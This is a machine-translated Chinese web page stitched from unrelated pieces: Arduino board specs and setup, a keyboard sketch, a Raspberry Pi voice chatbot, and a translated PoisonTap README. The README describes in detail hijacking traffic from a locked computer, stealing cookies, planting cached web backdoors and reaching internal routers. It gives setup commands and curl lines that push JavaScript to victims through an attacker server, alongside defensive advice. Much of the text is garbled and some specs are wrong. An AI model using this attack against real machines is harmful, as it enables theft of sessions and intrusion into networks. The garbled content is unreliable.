Arduino Due 和 Zero

Arduino Due是基于Atmel SAM3X8E ARM Cortex-M3 CPU的微控制器板。它是第一款基于32位ARM内核微控制器的Arduino板。

主要功能:

  • 它有54个数字输入/输出引脚(其中12个可用作PWM输出)
  • 12个模拟输入
  • 4个UART(硬件串行端口)
  • 84 MHz时钟,一个USB OTG连接
  • 2个DAC(数字到模拟),2个TWI,1个电源插孔,1个SPI头,1个JTAG头
  • 重置按钮和一个清除按钮

Arduino Due 和 Zero

Arduino Due板的特性

工作电压 CPU速度 模拟输入/输出 数字IO/PWM EEPROM [KB] SRAM [KB]

Flash[KB]

USB UART
3.3伏 84 Mhz 12/2 54/12 96 512 2微米 4

通讯

  • 4个硬件UART
  • 2个I2C
  • 1个CAN接口(汽车通信协议)
  • 1个SPI
  • 1接口JTAG(10引脚)
  • 1个USB主机(像Leonardo一样)
  • 1编程端口

与大多数Arduino板不同,Arduino Due板运行在3.3V电压下。I/O引脚可以承受的最大电压为3.3V。对任何I/O引脚施加高于3.3V的电压都可能会损坏电路板。

该板包含了支持微控制器所需的一切。你可以使用micro-USB电缆将其连接到计算机,或者使用AC-to-DC适配器或电池为其供电以启用。Due与所有工作在3.3V电压的Arduino盾板兼容。

Arduino Zero

Zero是由UNO建立的平台的简单而强大的32位扩展。Zero板通过提供更高的性能扩展其系列,为设备提供各种项目机会,并成为学习32位应用程序开发的绝佳教育工具。

主要特点是:

  • Zero应用程序涵盖从智能物联网设备,可穿戴技术,高科技自动化,到疯狂的机器人技术。

  • 该板采用Atmel的SAMD21 MCU供电,该MCU配有32位ARMCortex®

    M0 +内核。

  • 其最重要的特性之一是Atmel的嵌入式调试器(EDBG),它提供了一个完整的调试接口,无需额外的硬件,显着提高了软件调试的易用性。

  • EDBG还支持可用于器件和引导加载程序编程的虚拟COM端口。

Arduino Due 和 Zero

Arduino Zero板的特性

工作电压 CPU速度 模拟输入/输出 数字IO/ PWM EEPROM [KB] SRAM [KB] Flash [KB] USB UART
3.3伏 48 Mhz 6/1 14/10 32 256 2微米 2

与大多数Arduino和Genuino板不同,Zero运行在3.3V电压下。I/O引脚可以承受的最大电压为3.3V。对任何I/O引脚施加高于3.3V的电压都可能会损坏电路板。

该板包含支持微控制器所需的一切。你可以使用micro-USB电缆将其连接到计算机,或者使用AC-to-DC适配器或电池为其供电以启用。Zero与所有工作在3.3V电压的盾板兼容。


Arduino 安装

在了解Arduino UNO板的主要部分后,我们准备学习如何设置Arduino IDE。一旦我们学到这一点,我们将准备在Arduino板上上传我们的程序。


在本节中,我们将在简单的步骤中学习如何在我们的计算机上设置Arduino IDE,并准备板通过USB线接收程序。


步骤1 – 首先,你必须有Arduino板(你可以选择你喜欢的板)和一根USB线。如果你使用Arduino UNO,Arduino Duemilanove,Nano,Arduino Mega 2560或Diecimila,你将需要一个标准USB线(A插头到B插头)。如下图所示为你将连接到USB打印机的类型。


Arduino 安装


如果使用Arduino Nano,你将需要一条A到Mini-B线,如下图所示。


Arduino 安装


步骤2 – 下载Arduino IDE软件。

你可以从Arduino官方网站的下载页面获得不同版本的Arduino IDE。你必须选择与你的操作系统(Windows,IOS或Linux)兼容的软件。文件下载完成后,解压缩文件。


Arduino 安装

步骤3 – 打开板的电源。

Arduino Uno,Mega,Duemilanove和Arduino Nano通过USB连接到计算机或外部电源自动获取电源。如果你使用Arduino Diecimila,则必须确保板的配置为从USB连接获取电源。电源选择使用跳线,一小块塑料安装在USB和电源插孔之间的三个引脚中的两个。检查它是否在最靠近USB端口的两个引脚上。

使用USB线将Arduino板连接到计算机。绿色电源LED等(标有PWR)应该发光。


步骤4 – 启动Arduino IDE。

下载Arduino IDE软件后,需要解压缩该文件夹。在文件夹中,你可以找到带有无穷大标签(application.exe)的应用程序图标。双击该图标以启动IDE。

Arduino 安装


步骤5 – 打开你的第一个项目。

一旦软件启动,你有两个选项:

  • 创建一个新项目。
  • 打开一个现有的项目示例。

要创建新项目,请选择Flie→New。


Arduino 安装


要打开现有项目示例,请选择File→Example→Basics→Blink。


Arduino 安装

在这里,我们只选择一个名为 Blink 的示例。它打开和关闭LED有一些时间延迟。你可以从列表中选择任何其他示例。


步骤6 – 选择你的Arduino主板。

为了避免在将程序上载到板上时出现任何错误,必须选择正确的Arduino板名称,该名称与连接到计算机的电路板相匹配。

转到Tools→Board,然后选择你的板。


Arduino 安装

在这里,根据我们的教程选择了Arduino Uno板,但是你必须选择与你使用的板匹配的名称。


步骤7 – 选择串行端口。

选择Arduino板的串行设备。转到Tools→Serial Port菜单。这可能是COM3或更高(COM1和COM2通常保留为硬件串行端口)。要弄清楚的话,你可以断开你的Arduino板,并重新打开菜单,那么消失的条目应该是Arduino板。重新连接板并选择该串行端口。

Arduino 安装


步骤8 – 将程序上传到你的板。

在解释如何将我们的程序上传到板之前,我们必须演示Arduino IDE工具栏中出现的每个符号的功能。


Arduino 安装

A – 用于检查是否存在任何编译错误。

B – 用于将程序上传到Arduino板。

C – 用于创建新草图的快捷方式。

D – 用于直接打开示例草图之一。

E – 用于保存草图。

F – 用于从板接收串行数据并将串行数据发送到板的串行监视器。


现在,只需点击环境中的“Upload”按钮。等待几秒钟,你将看到板上的RX和TX LED灯闪烁。如果上传成功,则状态栏中将显示“Done uploading”消息。


注意 – 如果你有Arduino Mini,NG或其他电路板,则需要在单击Arduino软件上的上传按钮之前,立即按下电路板上的复位按钮。

Arduino 板的说明

在本章中,我们将了解Arduino板上的不同组件。将学习Arduino UNO板,因为它是Arduino板系列中最受欢迎的。此外,它是开始使用电子和编码的最佳板。有些板看起来与下面给出的有些不同,但多数Arduino中的这些组件大部分是共同的。


Arduino 板的说明

Arduino 板的说明

电源USB

Arduino板可以通过使用计算机上的USB线供电。你需要做的是将USB线连接到USB接口。

Arduino 板的说明

电源(桶插座)

Arduino板可以通过将其连接到电影插口直接从交流电源供电。

Arduino 板的说明

稳压器

稳压器的功能是控制提供给Arduino板的电压,并稳定处理器和其他元件使用的直流电压。

Arduino 板的说明

晶体振荡器

晶振帮助Arduino处理时间问题。Arduino如何计算时间?答案是,通过使用晶体振荡器。在Arduino晶体顶部打印的数字是16.000H9H。它告诉我们,频率是16,000,000赫兹或16MHz。

Arduino 板的说明

Arduino重置

你可以重置你的Arduino板,例如从一开始就启动你的程序。可以通过两种方式重置UNO板。首先,通过使用板上的复位按钮(17)。其次,你可以将外部复位按钮连接到标有RESET(5)的Arduino引脚。

Arduino 板的说明

引脚(3.3,5,GND,Vin)

  • 3.3V(6) – 提供3.3输出电压

  • 5V(7) – 提供5输出电压

  • 使用3.3伏和5伏电压,与Arduino板一起使用的大多数组件可以正常工作。

  • GND(8)(接地) – Arduino上有几个GND引脚,其中任何一个都可用于将电路接地。

  • VVin(9) – 此引脚也可用于从外部电源(如交流主电源)为Arduino板供电。

Arduino 板的说明

模拟引脚

Arduino UNO板有六个模拟输入引脚,A0到A5。这些引脚可以从模拟传感器(如湿度传感器或温度传感器)读取信号,并将其转换为可由微处理器读取的数字值。

Arduino 板的说明

微控制器

每个Arduino板都有自己的微控制器(11)。你可以假设它作为板的大脑。Arduino上的主IC(集成电路)与板对板略有不同。微控制器通常是ATMEL公司的。在从Arduino IDE加载新程序之前,你必须知道你的板上有什么IC。此信息位于IC顶部。有关IC结构和功能的更多详细信息,请参阅数据表。

Arduino 板的说明

ICSP引脚

大多数情况下,ICSP(12)是一个AVR,一个由MOSI,MISO,SCK,RESET,VCC和GND组成的Arduino的微型编程头。它通常被称为SPI(串行外设接口),可以被认为是输出的“扩展”。实际上,你是将输出设备从属到SPI总线的主机。

Arduino 板的说明

电源LED指示灯

当你将Arduino插入电源时,此LED指示灯应亮起,表明你的电路板已正确通电。如果这个指示灯不亮,那么连接就出现了问题。

Arduino 板的说明

TX和RX LED

在你的板上,你会发现两个标签:TX(发送)和RX(接收)。它们出现在Arduino UNO板的两个地方。首先,在数字引脚0和1处,指示引脚负责串行通信。其次,TX和RX LED(13)。发送串行数据时,TX LED以不同的速度闪烁。闪烁速度取决于板所使用的波特率。RX在接收过程中闪烁。

Arduino 板的说明

数字I/O

Arduino UNO板有14个数字I/O引脚(15)(其中6个提供PWM(脉宽调制)输出),这些引脚可配置为数字输入引脚,用于读取逻辑值(0或1) ;或作为数字输出引脚来驱动不同的模块,如LED,继电器等。标有“〜”的引脚可用于产生PWM。

Arduino 板的说明

AREF

AREF代表模拟参考。它有时用于设置外部参考电压(0至5伏之间)作为模拟输入引脚的上限。

Arduino 概述

Arduino是一个基于易用硬件和软件的原型平台(开源)。它由可编程的电路板(称为微控制器)和称为Arduino IDE(集成开发环境)的现成软件组成,用于将计算机代码写入并上传到物理板。


主要特点是:

  • Arduino板卡能够读取来自不同传感器的模拟或数字输入信号,并将其转换为输出,例如激活电机,打开/关闭LED,连接到云端等多种操作。

  • 你可以通过Arduino IDE(简称上传软件)向板上的微控制器发送一组指令来控制板功能。

  • 与大多数以前的可编程电路板不同,Arduino不需要额外的硬件(称为编程器)来将新代码加载到板上。你只需使用USB线即可。

  • 此外,Arduino IDE使用C++的简化版本,使其更容易学习编程。

  • 最后,Arduino提供了一个标准的外形规格,将微控制器的功能打破成更易于使用的软件包。

Arduino 概述

Arduino板的类型

根据使用的不同微控制器,可提供各种Arduino板。然而,所有Arduino板都有一个共同点:它们通过Arduino IDE编程。

差异基于输入和输出的数量(可以在单个板上使用的传感器,LED和按钮的数量),速度,工作电压,外形尺寸等。一些板被设计为嵌入式,并且没有编程接口(硬件),因此你需要单独购买。有些可以直接从3.7V电池运行,其他至少需要5V。

以下是可用的不同Arduino板的列表。

基于ATMEGA328微控制器的Arduino板

板名称 工作电压 时钟速度 数字i/o 模拟输入 PWM UART 编程接口
Arduino Uno R3 5V 16MHz 14 6 6 1 USB通过ATMega16U2
Arduino Uno R3 SMD 5V 16MHz 14 6 6 1 USB通过ATMega16U2
Red Board 5V 16MHz 14 6 6 1 USB通过FTDI
Arduino Pro 3.3v/8 MHz 3.3V 8MHz 14 6 6 1 FTDI兼容头
Arduino Pro 5V/16MHz 5V 16MHz 14 6 6 1 FTDI兼容头
Arduino mini 05 5V 16MHz 14 8 6 1 FTDI兼容头
Arduino Pro mini 3.3v/8mhz 3.3V 8MHz 14 8 6 1 FTDI兼容头
Arduino Pro mini 5v/16mhz 5V 16MHz 14 8 6 1 FTDI兼容头
Arduino 

Ethernet

5V 16MHz 14 6 6 1 FTDI兼容头
Arduino Fio 3.3V 8MHz 14 8 6 1 FTDI兼容头
LilyPad Arduino 328 main board 3.3V 8MHz 14 6 6 1 FTDI兼容头
LilyPad Arduino simply board 3.3V 8MHz 9 4 5 0 FTDI兼容头

基于ATMEGA32u4微控制器的Arduino板卡

板名称 工作电压 时钟速度 数字i/o 模拟输入 PWM UART 编程接口
Arduino Leonardo 5V 16MHz 20 12 7 1 本机USB
Pro micro 5V/16MHz 5V 16MHz 14 6 6 1 本机USB
Pro micro 3.3V/8MHz 5V 16MHz 14 6 6 1 本机USB
LilyPad Arduino USB 3.3V 8MHz 14 6 6 1 本机USB

基于ATMEGA2560微控制器的Arduino板卡

板名称 工作电压 时钟速度 数字i/o 模拟输入 PWM UART 编程接口
Arduino Mega 2560 R3 5V 16MHz 54 16 14 4 USB通过ATMega16U2B
Mega Pro 3.3V 3.3V 8MHz 54 16 14 4 FTDI兼容头
Mega Pro 5V 5V 16MHz 54 16 14 4 FTDI兼容头
Mega Pro Mini 3.3V 3.3V 8MHz 54 16 14 4 FTDI兼容头

基于AT91SAM3X8E微控制器的Arduino板卡

板名称 工作电压 时钟速度 数字i/o 模拟输入 PWM UART 编程接口
Arduino Mega 2560 R3 3.3V 84MHz 54 12 12 4 本机USB

Arduino 键盘串口

此示例监听来自串口的一个字节。当接收到时,电路板发送一个击键回到计算机。发送的击键比接收的击键高一个,因此如果从串口监视器发送“a”,你将从连接到计算机的电路板接收到“b”。“1”将返回“2”等。

警告 – 当你使用 Keyboard.print()命令时,Leonardo,Micro或Due板会接管你计算机的键盘。为确保在使用此功能运行草图时不会失去对计算机的控制,请在调用Keyboard.print()之前设置可靠的控制系统。这个草图被设计为只在板通过串口接收到一个字节后才发送一个键盘命令。

必需的组件

你将需要以下组件:

  • 1 × Arduino Leonardo, Micro, 或 Due板

程序

只需使用USB线将电路板连接到计算机。

Arduino 键盘串口

草图

在计算机上打开Arduino IDE软件。使用Arduino语言进行编码控制你的电路。通过单击“New”打开一个新的草图文件。

Arduino 键盘串口


注意 – 

你必须在Arduino库文件中包含键盘库。将键盘库文件复制并粘贴到以下标黄色的名为“libraries”的文件中。

Arduino 键盘串口

Arduino代码

/*
    Keyboard test
    For the Arduino Leonardo, Micro or Due Reads
       a byte from the serial port, sends a keystroke back.
     The sent keystroke is one higher than what's received, e.g. if you send a, you get b, send
       A you get B, and so forth.
    The circuit:
    * none */ 
#include "

Keyboard.h"



void setup()
{
   // open the serial port:
  
  Serial.begin(9600);

   // initialize control over the keyboard:
    Keyboard.begin();


  }
 
void loop()
{
   // check for incoming serial data:
    if (Serial.available() >0)
{
  //read incoming serial data:
       char inChar = Serial.read();

  //Type the next ASCII value from what you received:
       Keyboard.write(inChar + 1);

    
   }
  }

代码说明

一旦开始编程,则打开你的串口监视器并发送一个字节。电路板将回复一个击键,这是一个更高的数字。

结果

当你发送一个字节时,电路板将会在Arduino IDE串口监视器上回复一个更高数字的击键。

树莓派百度语音识别+图灵机器人对话聊天机器人

硬件

树莓派3B、USB声卡、麦克、USB音响

软件

python、百度语音识别API、图灵机器人、espeak

树莓派官方系统自带python环境。注册百度语音识别开发者账号,获取api key。

树莓派百度语音识别+图灵机器人对话聊天机器人

百度语音识别api

注册图灵机器人

树莓派百度语音识别+图灵机器人对话聊天机器人

接入图灵机器人

下来一个测试程序 测试一下图灵机器人正确接入。

在树莓派创建一个py文件:

|

# -*- coding: utf-8 -*-

import urllib

import json

def getHtml(url):

page = urllib.urlopen(url)

html = page.read()

return html

if __name__ == '__main__':

key = '你的api key'

api = 'http://www.tuling123.com/openapi/api?key=' + key + '& info='

while True:

info = raw_input('我: ')

request = api + info

response = getHtml(request)

dic_json = json.loads(response)

print '机器人: '.decode('utf-8') + dic_json['text']

|

保存之后运行 就可以文字对文字的聊天了。我们要的是对话。所以这里的文字输入要变成语音输入。那么我来调用百度语音api来帮我把文字从语音中提取。然后再把图灵机器人的回复的文字通过espeak通过音响说出来。

这里,树莓派自身是没有声卡的。还好有万能的某宝。找树莓派USB声卡。

树莓派百度语音识别+图灵机器人对话聊天机器人

当我们插上这个USB声卡,其实就可以使用了。因为树莓派上其实已经内置了当前流行的设备驱动。然后我们需要在树莓派上安装对应的录音程序。

1.##先更新软件包

2.sudo apt-get update

3.sudo apt-get upgrade

4.##安装必要的程序

5.sudo apt-get -y install alsa-utils alsa-tools alsa-tools-gui alsamixergui

这里安装了本次必要的录音工具,同时也安装了2个图形界面工具,这样就可以用图形界面来设置音量等,操作会比较方便。

安装完成后,就可以使用树莓派来录音了。来录个60秒试试:

1.arecord -D “plughw:1,0” -d 60 /tmp/test.wav

其中,这里的plughw:1,0就是外置声卡设备,-D表示指定设备。这里值得一提的是,如果后面没有设置输出文件的话,执行命令后录音产生的数据会直接显示在终端上……所以其实你也可以这样写:

1.arecord -D “plughw:1,0” -d 60 >/dev/test.wav

之后你也可以安装一个图形界面的audacity音频编辑软件,这样就可以在树莓派上编辑制作你的音乐专辑了~

1.apt-get -y install audacity

插上USB声卡,然后再启动audacity,你就可以在录音输入那看到你的USB声卡设备了。如果你想播放也从USB声卡播放在播放那选择USB设备即可~默认是从树莓派上播放的。

百度语音合成与识别

树莓派百度语音识别+图灵机器人对话聊天机器人

树莓派百度语音识别+图灵机器人对话聊天机器人

然后把图灵机器人回复的文字 语音播放

为了偷懒 我用的espeak软件。sudo apt-get install espeak

同学们安装好可以测试一下 终端运行 espeak -vzh 我是机器人

回车 树莓派会播放“我是机器人”

如果不是中文 直接 espeak hello world 即可。

树莓派百度语音识别+图灵机器人对话聊天机器人

做好的演示视频可以到我头条号主页找到 谢谢大家的关注与支持。代码整理后会打包放在评论区 大家继续关注树莓派百度语音识别+图灵机器人对话聊天机器人

原文始发于:树莓派百度语音识别+图灵机器人对话聊天机器人

|

PoisonTap-虹吸cookie,暴露内部路由器并在已锁定的计算机上安装Web后门

PoisonTap – 虹吸cookie,暴露内部路由器并在已锁定的计算机上安装Web后门

由@SamyKamkar创建||https://samy.pl

当PoisonTap(Raspberry Pi Zero&Node.js)插入到受锁/受密码保护的计算机中时,它:

  • 通过USB(或Thunderbolt)模拟以太网设备

  • 劫持来自机器的所有互联网流量(尽管是低优先级/未知网络接口)

  • 虹吸并存储来自网络浏览器的HTTP Cookie和会话,用于Alexa前100万个网站

  • 将内部路由器暴露给攻击者,使其可通过出站WebSocket和DNS重新绑定(远程访问Matt Austin进行重新绑定)!

  • 在HTTP缓存中为数十万个域和常见的Javascript CDN URL安装一个持久的基于Web的后门,所有这些都可以通过缓存中毒访问用户的cookie

  • 允许攻击者远程强制用户使用任何退回的域中的用户的Cookie进行HTTP请求和代理回复(GET&POST)

  • 它不要求机器被解锁

  • 后门和远程访问仍然存在,即使在设备被删除并且攻击者之后移动

PoisonTap-虹吸cookie,暴露内部路由器并在已锁定的计算机上安装Web后门

(Ara令人难以置信的HTML5画布动画)

PoisonTap避免了以下安全机制:

  • 密码保护锁屏

  • 路由表优先级和网络接口服务订单

  • 同源政策

  • X-框架,选项

  • HttpOnly Cookies

  • SameSite cookie属性

  • 双因素/多因素认证(2FA / MFA)

  • DNS固定

  • 跨原始资源共享(CORS)

  • HTTPS的cookie保护当安全 cookie的标志和HSTS未启用


演示

PoisonTap是为$ 5 Raspberry Pi Zero而设计的,除了micro-USB电缆和microSD卡之外,还可以使用任何其他组件,或者可以使用以太网到USB / Thunderbolt加密狗的任何Raspberry Pi(1/2/3)工作,或可以在可以模拟USB小工具的其他设备上工作,如USB Armory和LAN Turtle。

视频中的实时演示和更多详细信息:

PoisonTap-虹吸cookie,暴露内部路由器并在已锁定的计算机上安装Web后门

联络点: @SamyKamkar //https://samy.pl

发布日期: 2016 年 11月16日

源代码和下载: https://github.com/samyk/poisontap


毒药塔如何运作

PoisonTap通过利用机器和网络的各种机制(包括USB / Thunderbolt,DHCP,DNS和HTTP)的现有信任来产生级联效应,以产生信息渗透,网络访问和半永久后门的安装的雪球效应。

PoisonTap-虹吸cookie,暴露内部路由器并在已锁定的计算机上安装Web后门

简而言之,PoisonTap执行以下操作:

网络劫持

  • 攻击者将PoisonTap(如武器化的Raspberry Pi Zero)插入锁定的计算机(即使计算机受密码保护)

  • PoisonTap模拟以太网设备(例如,通过USB / Thunderbolt的以太网) – 默认情况下,Windows,OS X和Linux识别以太网设备,自动将其作为低优先级网络设备加载并执行DHCP请求,即使机器被锁定或密码保护

  • PoisonTap响应DHCP请求并向机器提供IP地址,但是DHCP响应是为了告诉机器整个IPv4空间(0.0.0.0 – 255.255.255.255)是PoisonTap本地网络的一部分,而不是一个小子网(例如192.168.0.0 – 192.168.0.255)

  • 通常,如果辅助网络设备连接到一台机器,那么它将比现有的(受信任的)网络设备的优先级低,并且不会取代网关以进行互联网流量,这是不重要的,但是…

  • 由于“互联网流量”的“LAN流量”的优先级,任何路由表/网关优先级/网络接口服务订单安全性被绕过,

  • PoisonTap利用此网络接入,甚至作为一个低优先级的网络设备,因为该子网 A的低优先级的网络设备比给予更高的优先级网关的的(默认路由)最高优先级的网络设备

  • 这意味着如果流量注定为1.2.3.4,通常这个流量会达到主(非PoisonTap)网络设备的默认路由/网关,PoisonTap实际上会获得流量,因为PoisonTap“本地”网络/子网据说包含1.2 .3.4,存在的其他IP地址;

  • 因此,即使机器连接到具有较高优先级的网络设备和正确的网关(真正的WiFi,以太网等),所有互联网流量都会超过PoisonTap。

PoisonTap-虹吸cookie,暴露内部路由器并在已锁定的计算机上安装Web后门

饼干虹吸

  • 只要Web浏览器运行后台,开放页面之一可能会在后台执行HTTP请求(例如,加载新广告,将数据发送到分析平台,或者只是继续跟踪您的网页)运动)通过AJAX或动态脚本/ iframe标签

  • 您可以自己看到这一点,进入您的devtools /检查员(通常为Cmd + Shift + I或Ctrl + Shift + I),访问访问量很大的网站,点击网络标签,并观看远程资源继续访问即使你在页面上没有采取任何行动

  • 根据此HTTP请求,由于所有流量退出到PoisonTap设备上,PoisonTap DNS即时传播返回自己的地址,导致HTTP请求命中PoisonTap Web服务器(Node.js)

  • 如果DNS服务器指向PoisonTap无法获得特权的内部IP(LAN),攻击将继续发挥作用,因为内部DNS服务器将为各种被攻击的域产生公共IP地址,而这是公共IP地址PoisonTap已经劫持

  • 一旦内部DNS服务器做出响应,Web浏览器就会触发公共IP,最终在任一情况下击中PoisonTap Web服务器(Node.js)

  • 当Node Web服务器接收到请求时,PoisonTap会响应一个可以解释为HTML或Javascript的响应,两者都能正常执行(许多网站将在后台请求中加载HTML或JS)

  • HTML / JS不可知页面然后生成许多隐藏的iframe,每个iframe跨不同的Alexa-top-100万域

  • 域名上的任何“X-Frame-Options”安全性被忽略,因为PoisonTap现在是HTTP服务器,并选择要发送给客户端的头文件

  • 随着对站点的每个iframe HTTP请求(例如http://nfl.com/PoisonTap),HTTP Cookie从浏览器发送到被PoisonTap劫持的“公共IP”,它迅速记录cookie /身份验证信息将数万个用户的Cookie记录到PoisonTap中

  • 任何“HttpOnly”cookie安全性被绕过,并且这些cookie被捕获,因为在域本身上没有执行Javascript,而是仅用于首先加载iframe

  • 任何跨原始资源共享或同源策略安全性被绕过,因为访问域看起来对浏览器是合法的

  • 因为我们正在抓取Cookie而不是凭据,所以当攻击者使用cookie登录时,网站上实现的任何2FA / MFA都将被绕过。这是因为我们还没有实际执行的登录功能,而是继续已经登录这不会话不会触发双因素身份验证

  • 如果服务器正在使用HTTPS,但是Cookie并未明确设置Secure Cookie标志,则HTTPS保护被绕过,并将该cookie发送到PoisonTap

PoisonTap-虹吸cookie,暴露内部路由器并在已锁定的计算机上安装Web后门

可远程访问的基于Web的后门

  • 虽然PoisonTap正在产生成千上万的I帧,迫使浏览器加载每一个,这些iframe会并不只是空白页面,而是HTML +的Javascript后门被无限期缓存

  • 因为PoisonTap强制将这些后门缓存在每个域上,所以后门绑定到该域,使攻击者能够使用域的cookie,并在将来启动同源请求,即使用户当前未登录

  • 例如,当http://nfl.com/PoisonTap iframe加载时,PoisonTap接受转移的Internet流量,通过Node web服务器响应HTTP请求

  • 添加额外的HTTP头以无限期缓存该页面

  • 该页面的实际响应是HTML和Javascript的组合,它会向攻击者的Web服务器(通过Internet而不是PoisonTap设备)生成一个持久的WebSocket,

  • WebSocket保持打开,允许攻击者在将来的任何时间连接回退回机器,并执行任何具有后门实现的源代码(Alexa的前100万个站点 – 见下文)

  • 如果后门在一个站点(例如,nfl.com)上打开,但用户希望攻击不同的域(例如pinterest.com),攻击者可以将nfl.com上的iframe加载到pinterest.com后门(http://pinterest.com/PoisonTap)

  • 再次,域上的任何“X框架选项”,跨原始资源共享和同源策略安全性完全被忽略,因为请求将触发PoisonTap离开的缓存,而不是真正的域

PoisonTap-虹吸cookie,暴露内部路由器并在已锁定的计算机上安装Web后门

内部路由器后门和远程访问

  • 一个网络PoisonTap不能劫持是真实网络接口的实际LAN子网(例如,如果用户的wifi子网为192.168.0.x,则该网络不受影响),但…

  • PoisonTap强制将一个后门缓存在一个特殊的主机上,特别是目标路由器的IP前身为“.ip.samy.pl”,例如192.168.0.1.ip.samy.pl,本质上是产生持久的 DNS重绑定攻击

  • 当使用PoisonTap作为DNS服务器(受害者使用公共DNS服务器)时,PoisonTap会临时响应专门的PoisonTap IP(1.0.0.1),这意味着当时的任何请求都将触发PoisonTap Web服务器

  • 如果DNS服务器设置为内部网络(例如192.168.0.x),则会另外特别要求1.0.0.1 **。pin。** ip.samy.pl告诉我的专用DNS服务器(在公共互联网上)暂时响应任何[ip.address] .ip.samy.pl地址与“固定”地址(1.0.0.1)几秒钟

  • 然后,PoisonTap在http://192.168.0.1.ip.samy.pl/PoisonTap上快速设置了一个后门,该漏洞目前指向1.0.0.1的PoisonTap设备,允许从PoisonTap设备访问并缓存后门

  • DNS绑定和DNS重新绑定的安全性被绕过由于DNS绑定表的耗尽,由于以前成千上万的请求,并且将来不需要重新绑定,这使得这种攻击持续了很长一段时间(由于马特奥斯汀与我分享这次攻击!)

  • 现在,一个后门被强制缓存到http://192.168.0.1.ip.samy.pl/PoisonTap,任何将来对192.168.0.1.ip.samy.pl的请求将会打到未被解除的 IP地址,导致192.168.0.1要解决,直接指向路由器

  • 这意味着如果通过后门远程加载iframe中的192.168.0.1.ip.samy.pl/PoisonTap主机,您现在可以对内部路由器上的任何其他页面执行AJAX GET / POSTs ,完全远程,从而允许远程访问内部路由器

  • 这可能导致攻击者可能从未访问过的路由器的其他攻击,例如用于覆盖DNS服务器的路由器上的默认管理员凭据,或其他身份验证漏洞

PoisonTap-虹吸cookie,暴露内部路由器并在已锁定的计算机上安装Web后门

DNS服务器的概述:

  • [ip.addy] .ip.samy.pl 通常用[ip.addy]

  • 192.168.0.1.ip.samy.pl – >192.168.0.1(A记录)

  • [ip.addy] .pin.ip.samy.pl 暂时(〜5 秒)分* .ip.samy.pl到[ip.addy]

  • 1.0.0.1.pin.ip.samy.pl – >1.0.0.1

  • 192.168.0.1.ip.samy.pl – >1.0.0.1(A记录,短TTL)

  • (约5秒钟后)

  • 192.168.0.1.ip.samy.pl – >192.168.0.1(A记录)

其他可远程访问的基于Web的后门

  • 此外,PoisonTap替代了成千上万种常见的基于CDN的Javascript文件,例如Google和jQuery CDN,使用正确的代码加上一个后门,使攻击者可以访问任何加载受感染的基于CDN的Javascript文件的域

  • 因为每个域都有一个后门,这样就可以让攻击者远程强制后退的浏览器在几乎任何主要的域上执行相同的起始请求(AJAX GET / POST),即使受害者目前没有任何打开的窗口域

  • 后门将现在生活在任何其他网站上,当受害者访问该网站时,还会使用这些受感染的基于HTTP的CDN Javascript框架之一


PoisonTap-虹吸cookie,暴露内部路由器并在已锁定的计算机上安装Web后门

保护毒药

服务器端安全性

如果您正在运行一个Web服务器,那么防范PoisonTap就很简单:

  • 至少使用HTTPS进行认证和验证的内容

  • 老实说,您应该专门使用HTTPS,并始终将HTTP内容重定向到HTTPS,以防止用户被欺骗提供凭据或通过HTTP提供其他PII

  • 确保Cookie上启用了安全标志,防止HTTPS Cookie通过HTTP泄漏

  • 使用远程JavaScript资源时,请使用Subresource Integrity脚本标记属性

  • 使用HSTS来防止HTTPS降级攻击

桌面安全

  • 将水泥添加到USB和Thunderbolt端口可以有效

  • 每次离开机器时关闭浏览器都可以工作,但完全不切实际

  • 禁用USB / Thunderbolt端口也是有效的,尽管也是不切实际的

  • 锁定电脑没有任何效果,因为网络和USB堆栈在机器被锁定时运行,但是,进入加密睡眠模式,需要密钥来解密内存(例如FileVault2 +深度睡眠)解决了大多数问题,作为您的浏览器将不再提出请求,即使唤醒


下载

|

源代码: https://github.com/samyk/poisontap

|

安装/文件分解

注意:如果您发现设备不是自动作为以太网控制器(例如Windows的旧版本),则可以在pi_startup.sh中更改VID和PID

#指令从https://gist.github.com/gbaman/50b6cca61dd1c3f88f41调整sudo bash#如果Raspbian BEFORE甚至-10,那么运行下一行:BRANCH = next rpi-updateecho -e “  nauto usb0  nallow-hotplug usb0  niface usb0 inet static  n  taddress 1.0.0.1  n  tnetmask 0.0.0.0 ” >>/ etc / network / interfaces echo “ dtoverlay = dwc2 ” >>/ boot /config.txt echo -e “ dwc2  ng_ether ” >>/ etc / modulessudo sed -in-place “ / exit 0 / d ” /etc/rc.local echo “ / bin / sh /home/pi/poisontap/pi_startup.sh ” >>/etc/rc.localmkdir / home / pi / poisontapchown -R pi / home / pi / poisontapapt-get update &

&

apt-get升级apt-get -y安装isc-dhcp-server dsniff screen nodejs

将dhcpd.conf放在/etc/dhcp/dhcpd.conf中,然后将其他文件放在/ home / pi / poisontap中,然后重新启动以确保一切正常。

repo中有多个文件,它们在不同的方面使用。列表:

  • backdoor.html – 每当一个http:// hostname / PoisonTap URL被命名为exfiltrate cookies时,这个文件是作为强制缓存的内容返回的。它包含一个后门,它产生一个出站的websocket到samy.pl:1337(可调整到任何主机/端口),等待命令从服务器继续打开。这意味着当您在网站上加载iframe(例如http:// hostname / PoisonTap)时,即使在从机器中删除PoisonTap之后,这也是填充的内容。

  • backend_server.js – 这是您在Internet可访问的服务器上运行的Node.js服务器。这是backdoor.html连接的(例如,samy.pl:1337)。这是与您连接的命令相同的服务器,以发送到您的PoisonTapped小型机器,例如

#流行警惕受害者 卷曲 ' http://samy.pl:1337/exec?alert("muahahahaha“)‘ #设置在受害人一个cookie 卷曲 ’ http://samy.pl:1337/exec?document.cookie =“key = value” ' #强制受害者通过ajax加载一个url(注意,jQuery存储在后门) curl'http: //samy.pl:1337/exec?$.get( " http:// 192.168.0.1.ip.samy.pl/login",function(d){console.log(d)  })'
  • pi_poisontap.js – 这是通过Raspberry Pi Zero上的Node.js运行的,是HTTP服务器,负责处理由PoisonTap拦截的任何HTTP请求,存储虹吸cookie,并注入缓存的后门。

  • pi_startup.sh – 在Raspberry Pi Zero启动时运行,以便将设备设置为模拟USB以太网小工具,设置我们的恶意DHCP服务器,允许流量重新路由,DNS欺骗,并启动pi_poisontap.js以上。

  • target_backdoor.js – 此文件是与任何CDN相关的Javascript文件,因此后门他们,例如Google CDN的jQuery网址。

  • target_injected_xhtmljs.html – 这是在受害者机器上注入到无意/后台HTTP / AJAX请求中的代码,并产生了整个攻击。它的构造方式是将其解释为HTML或Javascript,并仍然执行相同的代码。另外,惊人的HTML5画布是由令人难以置信的Ara oen CodePen,是太惊人,不包括。这是当页面被PoisonTap接管时出现的图形化疯狂。

